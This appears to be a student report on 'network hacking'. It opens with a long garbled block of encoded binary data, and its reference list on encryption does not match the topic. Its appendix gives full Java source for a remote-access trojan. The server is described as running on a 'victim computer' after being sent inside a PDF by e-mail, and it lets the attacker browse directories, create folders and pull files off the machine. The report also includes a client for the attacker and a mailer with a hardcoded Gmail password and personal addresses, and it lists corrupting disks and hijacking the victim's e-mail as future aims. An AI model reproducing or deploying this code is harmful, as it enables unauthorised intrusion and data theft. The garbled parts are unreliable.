BQSaNlaZMB/7cFZGZ0QxoEn23ZC8AjD5/MbgA6OSna3fq6H6aRJQnRtncis7X 0mqXuT5Q/Kpmy0iJDqq FbCR+R0rYXD7CEbAu8C2p+yiH73mXD3sdsRKdEMndKW9ywVBk7ChmC8lA/ 903ICtG98XV811Glkk4WW/ RScj9lFeKfaq3J5nX82zKahKvqLdxH8GoXAoRDKXckFRnk29wSCXXwuBfaSdK OP4jPLIBDAyE/blvcmW G4r+dZDCsbKCbPfXRkzYvaIZOEWfmSJRxu9+pqgsq1uEnTriszpIA9eFo7Oc8y eGiRX59zpgGctzntLx cIZcPMlG3ydPC+meaFAB5t9G1VMBCbiIbJxwTi3TUD6R7bJE9fP+CSSir+Bwuh t57DNmu3UOiFV/CrZj gCpna6QwBSjF20Ljyoz14uiSrxdVbrvD/8CVg/nL0/56F60YKbqgyfUj/wJrZUX03 0lK/JrXIOFUCFSh

0RAD4roCxfasFe3IcO0d0BKo6jG6Cg5mh2pJbDNnTtWp/gQ0ikXD3Ke5hEfe1i ZAQsFHri3J4Dq2+/+U hXYYgytof8h5aiD8p/hj+V6SeAWQgPlErTMRs/tzc8d/Ou+o7wH4TEiCmA5Cl1B POjHsZyYm1mgvXhOK F7njbnP1198Em1TVE9Awnek1RPC99IypN1PyRFu3vqDO12n+9GLn8YJ3u/L6 WKfYmaT+KIN0Ts50ZmoN x/J9MhPjL08NUpn2o/w6NOsqe5mO92vGU88zNeQ83JayGISUO+I2ZjBaycyszy 9uccTvMV9QkqBRdw3h vcKnRfQRB9P6g4f0ctICWfYTdiIDfgNmyom1LaQNxMIQS+AoUhGR5ACI7Vx1w 3DXIRNEAYnAk9c2NSE4 YLkUVn1GR9YSJXJtzN5+ixOH9pkT9py0BcEGNdqNJXbAIyp6OgooraPNvuP5cL P2NujAeJ9lRd1mR7Fv lu9MBePhGZQxFEfLKVJ9TblP0kmiuDN597LbTn1k7NnM7XJEX6WOAFCe9qkcK VpNBe0OHktpmwebynPe hrBGVouIlh1PwLWRU40/24F6LqJePcak1WlDdlG2ZKfm6MSTJ1NpKWm3UYEc QdNEzcJR53iYv7BcDSeC Pqm/dvT6q7GBFhehSFkSVkQfuItGTr1Sel9HC494NKi8tDIzDIbWNZ+/YmwSqh f3A/PcKfIz+Ie9pac5 rhI85kzgTbbI4IbL7M1iTUWE5WzgznSwW+MKP/IwC3NvZuG8Aex32gS7WwA bju1bqDQ6g/ZIeruiMTI5 WOXN9cIq6EelptsjPz2vITbc/8fctt9WaLAHOc5NkueUXZqWX375TcZEma5WN/ tjBvcj5hdeWh+HZsqa PulgPJBT1u9uj4O/w/rtZ1g36j8UxivSqz1YY8b1VYcsW4wUZRXj9oFRo7a1klUj8 Ytuj1aj8IHhRdws YXF3O7Pxw/sL3/2tI1M9VibuIivqTwEcXQTgulTd/L9nfXpmWDl+4LRfpzYz9LO9 DJcVYZg0AIc7/ilq kIcGA/f8Zs6dcOJDxiVdWJblX3ZHvBru+1PE6VWE8JLNt571s/ooUEP1ySkblgglv wX4afr4BoeU3CSb PjbTUfKQ6TTz7JbuCnP19ELK0nb3iMuORlR1M/VEpZx77QWW90HG4hNU3W0 N0/iiaWHhFEBfYdJnoLP4 uSWifRwGCudVRQnliw5wtgpqXo28Ltv7syb0/6fsTsZgDHvZxsswbl6DtKpltOd kCH3dEgRWQbbh5aLS w9f03/TyWixriDs5HLh0Ymtr3t72EIeAi78vkq5ZTmsjeSJER0OZu/RJqSaK5KTNt zS0tlcxf4ACcPPy i5L1w/tzzuXDxGYTp5fClkJUZzfmU5rGFLhf3yyMJll2xOzojh4rIJ0hciVq9M2e/l6v APtQqcKdBZEy 3dQ95+CUDULjvahxQ5themky9niu7r2P4L+ksW2z/IVFMUwXvGCSFig4WxCT TK85w4HiN25rFHNeO/i6 26WxzB+yeMF7Caeha2i7y9nHmDt/3Ce4oFtrBbSkEuCT9o+uRPa0GrP4lli5nr +BrupHaJizc6AbYBqT h1cR/cwH47g7Yn0vOF7go416lK+bu3t08V2eE8EekKTXplSm1ss3rkOcWlQfZ CXJhYhxYIFEz1dYeYT7 HezU9fMzdAULVNDCDPvz+SlZj8W/Z2Kv/8b6hiBo4TFnHJCAyess8v71tY/ZO5 97oMt2Z/GNwTqmuFkz NJuPelIL9n4O0KCe+0QbZDKDjYfwvmzRFlB8zaRcUad7/8iccPiGeiJ8q3ZD86kU mzWz9gZGLdC+RCRi fOrskIPzppA6M/qOgZh3HMpxWEWt+ZcOu4k4KLvw9IBJcYHIAio1OOqAeTPxjA 6joa8t4plWEdtbjcKq

Ipmq0ZdVYfY3EjLIJ9CXRRe5k/g+0QCtxyk1lTXtFfWsttISmnCSaGsiBapFGtVx2 k4ZvPf6fyY9nIzS uMOKijogoNT+eMY8ZZmBKpKnxAY67yKdb0WB2A2aQAickb1n9YP2hDxLcg mCKvGXeVGggSDBdmqYIgKQ skUz+AXK8Jsr97Z+WLmWnYKzaSppZtuCM4PxQ/PrAHqduLMbr5dZTYVwHHG aY7P5RFyIWRy5+LmINukQ J4MxEdbchBmtjsCM55GCxLYOOWZYW4UELzy6qblobdNzg/P6OXu8QBiDJUom Ris6Qhnl220oYccM+Xmp 5c4mTEuF3NtauY781US+E6TirE1w9AZ7EKFV+9zxwGBXzNNuIdprAO4l5Zld5 l8k1goWW0RdU8kXaFP2 1e9ALaY+3HbohUnBa/8ICnBao5FwUPJA9KDTZqfj+2Blj5jtsXEfwMO/8N7OCo Votc16LSbGqgdgh1AG 227PEDqCpPuzjxAB/CXu5zf9lCfalB0G577d5w/Z4VElpojmA8DEBDxa4zP7UWJ aybmCTcsmk0qgnHDn 6kPj7hdxI4MtaUU1tNtHd/gB50zblzBYNphs6mZfvwP3hFtcKahux/YhEhdUwDF ByZ5KUmQETyydIum2 1zL84gP6ljNzbwou6qH18l+FHkVjAEFOxzc5Opjh37cvqs6ro+GT/h8A9CKKpj4 4fA+dG0A2rfcc7XIp JrAz9HwV7RlBjUKFS3MENMev/WWDGF8QD6OrKvDJ7EOn4Fyu/6W3PCve3IRO fAa8damA8LabPrjO3k6W 6R5IYeKWLXWLI4kZbqyi+bowv44wBzYRQZ9TTO9E7k44r5gMPR+jkbHzPGdy To7ZPsNtA82z/wkQ4X2c uCcD/byYmnFSYR6GF/aDvXZUnwRU70cBUD14XJCzrTS7vCf7RBp6bzAD/w70 dw43J0biOW0RMOymv5AS yTtaOu3ZgR9KBiM3U+1Xw5mr26gtuSLZL7sGPwclXUXFSlJ4a9u0OkMnoZejQ Z0wCefzziN/ZFZ+PRB4 Xrr8uteY7kCOfdoFOiE0iJYXtRCGgPwjT1tsFrN/XqP5gqt56W+Pb/WFtqJ1phdj4 K+oBT8foNadkR3Y UFWAW3oR+AJGmEGo6IShkAvJ+qtT/OmrOH1wswgvghJIoaPtStLO4pfSAQnPJ OWtsTAfAnGBB2EgAktw bR4GRZ+2m32EQVeDGfGaPLxLNOeCFX0/eJOKNmKV2MXmCAfWv0ZADYOU yVOYJMgCNusrdvaT/auj8B2g ZKCFQjt9WGxesM9kAj7ADH99pmn2NIyzOHTg2x5c74WJi92u9Go6weLKRVD gt2yrJrP7m7eMDwZNfZc+ zU6Wg/9Ar9Dj/jIJLCm2Ew265eoMPfqtmrxcxK+BgONJcoGhc/VNvxVKB1TrzL9 AKjagQKYi0ixHt6Lc SnLiwSZAe0vemAkq7oVw5u4M0gvaBH/l8SFyK7zT9VqBnUrNJwPXbe7TaAzO 8+jjCxxe9qNskFF2tSxp O0GtnhczF7OR/qY9uqarmkl3I50KpppNLRf2tRXkAMZ60TNGDjxVyLHmpjjojYL HoHPJdwM8ejJRXOmN bPppHrIuibjDrvtSp+Y8v5XS6OuG2UMM/x56w5I12T/6WG78luq1M7m7PzctT0 niErHfM4ViI/OZlibL BgTzFMVrjcP+p275URyPCl1AEX1jvk2DZxNMFAuiZQsz6L2T82T7UwyuftX+8 DtZdN1kMYSMlF8VvKZK WZh/srf5RcGif7U9eZphwkPwlzV7kRtkyeN4iyzgXLSht5JD+EZ/deUusmTbF1yl 0EUj9O//RzP9IPL/ sguibqXyc+fySrftEYAQw5KWXwSg8c3/5GmoItBhBLjm90GiMjuSVMhJsZtFS8iJ QWRDPkRFE0HVt5MT

CWDEXiz6x+UT9W+PT+Rj9+tXSStT/gxJYoir5lil8bzqTnkrL02916483z+QQHIr FG3zPuCld0dcN5Rk OCeDTAdvzPslQ/x7nWOXro7cvlgBqaT95IDt8gnKMzuBclovBSnyGeIwtaOkSR 8KEUwhMHz1/m3a1ATj emY81hVOSJBpRVuFuVw4xx89lirJwtpPraAQSoYkw/yHS3S5NvXna6As5WRvta Dxh7yIDKZvrNA6lK+g AJTqCicHvwX1S+7f02GK124bs3OBO0+6CZfsKv3ujdYjIhhg8ZCz8QUgVZtf0F 7PVXHkUQmUd6qnz4m/ cYP1YoyVkIPwTqmA/vV9ZTqQQ78Zb6bxy2lpIjeFj7FgphxF3LR+3CuAAA6NDh WVWlO9L2Pexiv2XKoL UfEmMVpuUCpwsHYTVfhMrRNrlLBUMzt/1aZZVYOUJ9LcMOt2WbFjGRRRT6wk d3/RfpzZUBgwIqP4Q9Gs yrk20aBck1nrTak+ShFbkEf+p0ctTWAG745Ds3I82Olwus9ni0viB4X7SEyb+E 6Mjvz78UwzA5E2oeED WONWdaXAE0KhqsEEw9JXLIM6OkAziYAw71ekNc0PDf+BNT6tlWhdPz7ZTyFy K039A/c97Jpz71WR+ZdV ldp/hi8s80/mWzFX5fvQh6Fu1kNSe9XFdFPeTPaLd6vXA/u7ViEjTUqIrQWA+y4 rxWXqqpkg22C8qTrj BtP0/gofU/m4pJrI7zim7wFUJtx1OacUsnr1tnpMfHHz/iRr67NCYfiGU1f8277J/6f eMpsTmLlTy6ix P13zgkYJQH972h87FuHTogcqbenL281RNK1OBtHAVd15NonKjJP4rO2Ju1J0Do +g7SWWgEz5knWSkNaR cGKrimBnIj+ +ZNICxzPzK39weJCT9mRNgZ8RF4P4M3PS6KWz+MPz9TmD9qmiq6Qf4/ec32 BOLAAPDoII vx4GvtuUfXyxjaO8MzXV5Lya7P/b4Egt85ab5CJ+Q0VfjOPJvFSpK0TuwSSn36R xFWyt4ZhDE47+4YtE z8P4I8f/z2HWA9xMiJ55HEtPfDYwV/gxecTlJ4mZGsrynZkUmYHvesjD97q9Vv0 PaII8VeQULlJsJsB+ 5f+UPi1fM/K4fos+ZBd5kj9Kt0iB0/ksGpjETUqGJi6h77rD2gVLoxxRmvz2rp0ht eSLoEC5rG8BDZ7R nzx0QpY8Wr/Jy1iVP+bIfL5aGwoDl0cthd3E70e6xIST76Xot0CpxDThiDKxSn6a eIIZHnZOQAWpU2bX cnicsjEx46FUf8bBawu9T0Gj+ajhiopUZy0Vq+pc25yD/4BsXzFTHviFqcXDEo/p NY8W4VUELzOKb2Di P3Cx3dLIiXtVaKc2iWX0TlsyjTjEyaUjHet1Nb+5Q7hWeZ1k39xzXaousE7obNC 2GMyX4Kp15EPGiYc3 IgbZTIRGp4UwNOp4I3aroYIOsxZoZfeVBLAwQUAAIACAC0beo6h9LpelQBAAB GAgAACgAAAHJlYWRtZS 50eHRdkUFLxDAQhe+F/oc5KtTuurhgve4qi6iIiqvHND+2g21SktSS/fVO06K7H gKTSeZ7Ly+7+9euIQ er9CqO4miLVhrqHGkVR3fUINjx2JGqoDO6MqKFUhvYkyr0YOHjOT93sk4ksFou lwk8vSU/rXldJ/B4G0 e7mU8WRM44pycilAy3oEsQyoPzHXJRhD+lA6ajmQeSqCQGwd4iGzKIgzCYQM lV6EvdtmgkiSbMK62OW2 HqFFSwW0N5Pz3xU/cghfrrssOavc5vP4QaH9gDuVr3DmQtTIVwxlKb7cWLbm 0Ce8wtOeQKP0zPx/lvKr BgmnDgWaXQbC4Mq2oUwd882dS4PVAXQgFSIYZB+GQaP77M3mSDwrCnck 5jBFj2NEfzX1HYr8BrtUIfIj

jhOYtNGeLe6M4bqmoHl1m2hovxRzMYM8+9w5RjP6Paue5msRiGIS0/Dn4AUE sBAhQAFAACAAgA4GzqOk o/JqUfOwUAAFoFAAsAAAAAAAAAAAAgAAAAAAAAAGhqc3BsaXQuZXhlUEsBA hQAFAACAAgAtG3qOofS6X pUAQAARgIAAAoAAAAAAAAAAQAgAAAASDsFAHJlYWRtZS50eHRQSwUGAAA AAAIAAgBxAAAAxDwFAAAA ---------------------------Raw Input Cmd :[download,d:\hjsplit.zip] [Enter Text:('bye' to quit)] :

Info : hjsplit.zip in F:\TestNP\Client

Analysis.
we run our network hacking program in two different machine connected to the network ,then with the use of the IP address and port number we successfully get access to the remote computer .we execute command like to excess remote computer directory , to know what operating system running on remote computer and to download file from remote computer to our computer. And we successfully execute all command .

CONCLUSIONS
To hack network, necessary thing is to trace IP address and port number of remote computer. Once you get IP address and port number ping remote computer using IP address. With the help of this project we get success to trace IP address and port number of remote computer, with the help of that IP address and port number of remote computer we successfully connect our client program to the remote computer server program that we had send along with the PDF file through E-mail. Now we successfully connect our computer to the remote computer. We then successfully execute all Command which we implement in our application. Like 1. To know remote computer operating system name and version, and remote machine time.

2. 3. 4. 5.

Get access to the directory. Make directory in the remote computer. To download file from remote computer to our computer. Delete file from remote computer.

FUTURE DIRECTIONS
(a) What you could not attempt in this project (due to shortage of time, lack of resources / prior expertise in this area, unavailability of literature etc.). Due to the shortage the time and lack of the resource we could not attempt Following thing 1. Install software from our system to the remote system 2. Download video from our system to remote system, and vice versa 3. Fetch large file from remote system 4. to corrupt remote computer operating system, hard disk. (b) What more can be done in this area if time / resources / technical knowhow are available or provided to you. (c) Network hacking is the area in which lot of thing can be done if we have resource and technical knowledge, like 2. Install software from our system to the remote system 2. Download video from our system to remote system, and vice versa 3. Fetch large file from remote system 4. To corrupt remote computer operating system, hard disk. 5. When we send PDF file to remote computer along with active code then we want to get access to the remote computer email account so that we can get access to his inbox out box ,and want that we can sent e-mail from his account to another person.

(d) What more can be done by other groups wishing to work in this area.

Up to our knowledge and within this sort time we try our best, but feature which we cannot implement .we wish from some other group to implement that Feature to make project more powerful. like. 3. 2. 3. 4. Install software from our system to the remote system Download video from our system to remote system, and vice versa Fetch large file from remote system to corrupt remote computer operating system, hard disk.

REFERENCES (link these reference with text in the above sections)


[1] [2] W. Stallings, Cryptography & Network Security Principles and Practices, Fourth Edition, Pearson Education, 2007. M. Zeghid, M.Machhout, L. Khriji, A. Baganne, and R. Tourki A Modified AES Based Algorithm for Image Encryption, Proceedings of the World Academy of Science, Engineering and Technology, Vol. 21, May 2007, pp. 121-129. Samiah, A. Aziz and N. Ikram, An Efficient Software Implementation of AES-CCM for IEEE 802.11i Wireless Standard, 31st Annual International Computer Software and Application Conference, COMPSAC 2007. W. Diffie and G. Ledin, SMS4 Encryption Algorithm for Wireless Networks, Retrieved 15 May 2008 from eprint.iacr.org/2008/329.ps. F. Liu, W. Ji, L. Hu, J. Ding, S. Lv, A.Pyshkin and R.P. Weinmann, Analysis of the SMS4 Block Cipher, ACISP 2007, LNCS 4586, 2007, pp. 158-170.

[3]

[4] [5]

. (10 25 references)

APPENDIX Source Code (Comment your source code)


Code File: Javaserver.java Purpose: This program runs on victim computer, and is being operated by Hacker. File Content: package javaserver; import java.io.*; import java.net.*; import java.util.Date; import org.apache.commons.codec.binary.Base64; public class Javaserver { ServerSocket providerSocket; Socket connection = null; ObjectOutputStream out; ObjectInputStream in; String message; int portNumber; int qLength; Javaserver() {

portNumber = 5000; qLength = 10; } public static void getAllIPs(String[] args) throws Exception { InetAddress[] addr = InetAddress.getAllByName("localhost"); for (int i = 0; i < addr.length; i++) { System.out.println("[" + (i + 1) + "]" + addr[i]); } } void run() { try { //1. creating a server socket providerSocket = new ServerSocket(portNumber, qLength); //2. Wait for connection System.out.println("Server started at : " + new Date().toString()); System.out.println("Waiting for connection on : " + providerSocket.getInetAddress().getHostAddress() + ":" + providerSocket.getLocalPort()); System.out.println("Waiting for connection on : " + InetAddress.getLocalHost().getHostAddress() + ":" + providerSocket.getLocalPort()); connection = providerSocket.accept(); System.out.println("Connection received from " + connection.getInetAddress().getHostName() + ":" + connection.getPort()); //3. get Input and Output streams out = new ObjectOutputStream(connection.getOutputStream()); out.flush(); in = new ObjectInputStream(connection.getInputStream()); sendMessage("Connection successful"); //4. The two parts communicate via the input and output streams do { try { message = (String) in.readObject(); System.out.println("client>" + message); handleClientMessage(message); } catch (ClassNotFoundException classnot) { System.err.println("Data received in unknown format"); } } while (!message.equals("bye")); } catch (IOException ioException) { ioException.printStackTrace(); } finally { //4: Closing connection try { in.close(); out.close(); providerSocket.close();

} catch (IOException ioException) { ioException.printStackTrace(); } } } private void handleClientMessage(String message) { if (message.equals("getTime")) { sendMessage(new Date().toString()); } else if (message.equals("getOs")) { sendMessage(System.getProperty("os.name") + " " + System.getProperty("os.version")); } else if (message.startsWith("cmd:")) { File file = null; File baseDir = new File("F:/TestNP/Server"); String rawCmd = message.substring(4); System.out.println("Raw Cmd :[" + rawCmd + "]"); String cmdArgs[] = rawCmd.split(","); StringBuffer sb = new StringBuffer("Blank Msg"); if (cmdArgs[0].equals("download")) { if (cmdArgs.length >= 2) { //file = new File(baseDir, cmdArgs[1]); file = new File(cmdArgs[1]); if (!file.exists()) { sb = new StringBuffer(); sb.append("Error: "); sb.append(cmdArgs[1]); sb.append(" does not exists!"); } else { if (file.isDirectory()) { sb = new StringBuffer(); sb.append("Error: "); sb.append(cmdArgs[1]); sb.append(" is directory!"); } else { try { FileInputStream fis = new FileInputStream(file); byte data[] = new byte[fis.available()]; fis.read(data); fis.close(); sb = new StringBuffer("ok:"); String clearText = new String(data); String encodedText = new String(Base64.encodeBase64(clearText.getBytes())); sb.append(encodedText); } catch (Exception ex) { System.err.println(ex); } }

} } else { sb = new StringBuffer("Usage : mkDir dirName"); } } else if (cmdArgs[0].equals("ls")) { try { if (cmdArgs.length >= 2) { file = new File(cmdArgs[1]); System.out.println("Info :"+file.getCanonicalPath()); } else { file = baseDir; } if (file.exists() && file.isDirectory()) { File files[] = file.listFiles(); sb = new StringBuffer(); if (files.length >= 1) { sb.append("ok:"); for (File tFile : files) { sb.append(tFile); sb.append(","); } } else { sb.append("Info : " + file.getCanonicalPath() + " is blank."); } } else { sb = new StringBuffer("Error: "); sb.append(file.getCanonicalPath()); sb.append(" is not directory or drive"); } } catch (Exception ex) { System.err.println(ex); } } else if (cmdArgs[0].equals("mkDir")) { if (cmdArgs.length >= 2) { file = new File(baseDir, cmdArgs[1]); if (file.exists() && file.isDirectory()) { sb = new StringBuffer(); sb.append("Error: "); sb.append(cmdArgs[1]); sb.append(" already exists!"); } else { if (file.mkdir()) { sb = new StringBuffer("Success: "); sb.append(cmdArgs[1]); sb.append(" created!"); } else { sb = new StringBuffer("Failure: "); sb.append(cmdArgs[1]); sb.append(" failed to create!"); }

} } else { sb = new StringBuffer("Usage : mkDir dirName"); } } else { sb = new StringBuffer("Notice: "); sb.append(rawCmd); sb.append(" is currently not available!"); } sendMessage(sb.toString()); } else if (message.equals("dummy")) { sendMessage(message); } else { sendMessage(message); } } void sendMessage(String msg) { try { out.writeObject(msg); out.flush(); System.out.println("server>" + msg); } catch (IOException ioException) { ioException.printStackTrace(); } } public static void main(String args[]) { try { getAllIPs(args); } catch (Exception ex) { System.err.println("Exception : " + ex); } Javaserver server = new Javaserver(); while (true) { server.run(); } } } Code File: Javaclient.java Purpose: This program runs on hacker computer, and is used to feed command to victim computer to get desired thing done remotely. File Content: package javaclient; import java.io.*; import java.net.*; import java.util.Scanner;

import org.apache.commons.codec.binary.Base64; public class Javaclient { Socket requestSocket; ObjectOutputStream out; ObjectInputStream in; String message; InetAddress serverAddress; String serverName; int portNumber; Scanner keyboard = null; String inputData = ""; Javaclient(String serverName, int portNumber) { this.portNumber = portNumber; this.serverName = serverName; keyboard = new Scanner(System.in); } void run() { try { serverAddress = InetAddress.getByName(serverName); // creating a socket to connect to the server requestSocket = new Socket(serverAddress, portNumber); System.out.println("Connected to :" + requestSocket.getInetAddress().getHostAddress() + ":" + requestSocket.getPort()); // get Input and Output streams out = new ObjectOutputStream(requestSocket.getOutputStream()); out.flush(); in = new ObjectInputStream(requestSocket.getInputStream()); // Communicating with the server do { try { System.out.println("Reading incoming data..."); message = (String) in.readObject(); System.out.println("server>" + message); System.out.println("\n----------------------------"); //sendMessage("Hi my server"); //sendMessage("I am a Client"); //message = "bye"; //sendMessage(message); //-----------------------------//do { handleServerMessage(message); System.out.print("[Enter Text:('bye' to quit)] : "); inputData = keyboard.nextLine(); System.out.print("\n[Data In] : " + inputData); System.out.println();

message = inputData; sendMessage(message); System.out.println("[Msg sent!]"); //} while (!inputData.equalsIgnoreCase("q")); //System.out.println("Done!"); //-----------------------------} catch (ClassNotFoundException classNot) { System.err.println("data received in unknown format"); } } while (!message.equals("bye")); } catch (UnknownHostException unknownHost) { System.err.println("You are trying to connect to an unknown host!"); } catch (IOException ioException) { ioException.printStackTrace(); } finally { // Closing connection try { in.close(); out.close(); requestSocket.close(); } catch (IOException ioException) { ioException.printStackTrace(); } } } private void handleServerMessage(String message) { if (inputData.startsWith("cmd:")) { File file = null; File baseDir = new File("F:/TestNP/Client"); String rawCmd = inputData.substring(4); System.out.println("Raw Input Cmd :[" + rawCmd + "]"); String cmdArgs[] = rawCmd.split(","); /* String cmd = rawCmd.substring(0, rawCmd.indexOf(" ")); cmdArgs = new String[2]; cmdArgs[0] = cmd; cmdArgs[1] = rawCmd.substring(rawCmd.indexOf(" ")+1); */ StringBuffer sb = new StringBuffer("Blank Msg"); if (cmdArgs[0].equals("download")) { if (message.startsWith("ok:")) { String fileData = message.substring(3); File tFile = new File(cmdArgs[1]); file = new File(baseDir, tFile.getName()); //file = new File(cmdArgs[1]); if (file.exists() && file.isFile()) { System.out.println("Info : " + file.getName() + " already exists! in " + file.getParent()); } else {

try { FileOutputStream fos = new FileOutputStream(file); DataOutputStream dos = new DataOutputStream(fos); String plainData = new String(Base64.decodeBase64(fileData)); //System.out.println("File Data:\n" + plainData); dos.write(plainData.getBytes()); dos.flush(); fos.close(); dos.close(); System.out.println("Info : File saved as:\n" + file.getCanonicalPath()); } catch (Exception ex) { System.err.println(ex); } } } else { System.out.println("Server Msg>" + message); } } else if (cmdArgs[0].equals("ls")) { if (message.startsWith("ok:")) { String rawResponse = message.substring(3); String items[] = rawResponse.split(","); int i = 1; for (String item : items) { System.out.println("[" + i + "]" + item); i++; } } } } } void sendMessage(String msg) { try { out.writeObject(msg); out.flush(); System.out.println("client>" + msg); } catch (IOException ioException) { ioException.printStackTrace(); } } public static void main(String args[]) { try { Javaclient client = null; if (args.length >= 2) { client = new Javaclient(args[0], Integer.parseInt(args[1])); } else { client = new Javaclient("localhost", 5000); } client.run();

} catch (Exception ex) { System.err.println("Exception : " + ex); } System.out.println("\nDone!"); } }

E-mail Sender :
package javamailerapp; import java.util.Properties; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Session; import javax.mail.Transport; import javax.mail.Message.RecipientType; import javax.mail.internet.AddressException; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; public class SendMail { private String from; private String to; private String subject; private String text; public SendMail(String from, String to, String subject, String text) { this.from = from; this.to = to; this.subject = subject; this.text = text; } public void send() { Properties props = new Properties(); props.put("mail.smtp.starttls.enable", "true"); // added this line props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.port", "465"); props.put("mail.smtp.auth", "true"); props.put("mail.smtp.user", from); props.put("mail.smtp.password", "complex252481");

Session mailSession = Session.getDefaultInstance(props); Message simpleMessage = new MimeMessage(mailSession); InternetAddress fromAddress = null; InternetAddress toAddress = null; try { fromAddress = new InternetAddress(from); toAddress = new InternetAddress(to); } catch (AddressException e) { // TODO Auto-generated catch block e.printStackTrace(); } try { simpleMessage.setFrom(fromAddress); simpleMessage.setRecipient(RecipientType.TO, toAddress); simpleMessage.setSubject(subject); simpleMessage.setText(text); //SMTP authentication Transport transport = mailSession.getTransport("smtp"); transport.connect (props.getProperty("mail.smtp.host") , props.getProperty("mail.smtp.user") , props.getProperty("mail.smtp.password")) ; simpleMessage.saveChanges(); transport.sendMessage(simpleMessage, simpleMessage.getAllRecipients()); transport.close(); //Transport.send(simpleMessage); } catch (MessagingException e) { System.err.println("Email could not be sent due to error: " + e); e.printStackTrace(); } } }

Main Method :package javamailerapp; /** * * @author Munish

*/ public class JavaMailerApp { /** * @param args the command line arguments */ public static void main(String[] args) { try{ String from = "munish.kumar.2008@gmail.com"; String to = "vrrma_manu07@yahoo.com"; String subject = "Test"; String message = "A test message"; SendMail sendMail = new SendMail(from, to, subject, message); sendMail.send(); System.out.println("Mail Sent!"); }catch(Exception ex){ System.out.println("Exception : "+ex); ex.printStackTrace(); } System.out.println("Done!"); } }

Вам также может понравиться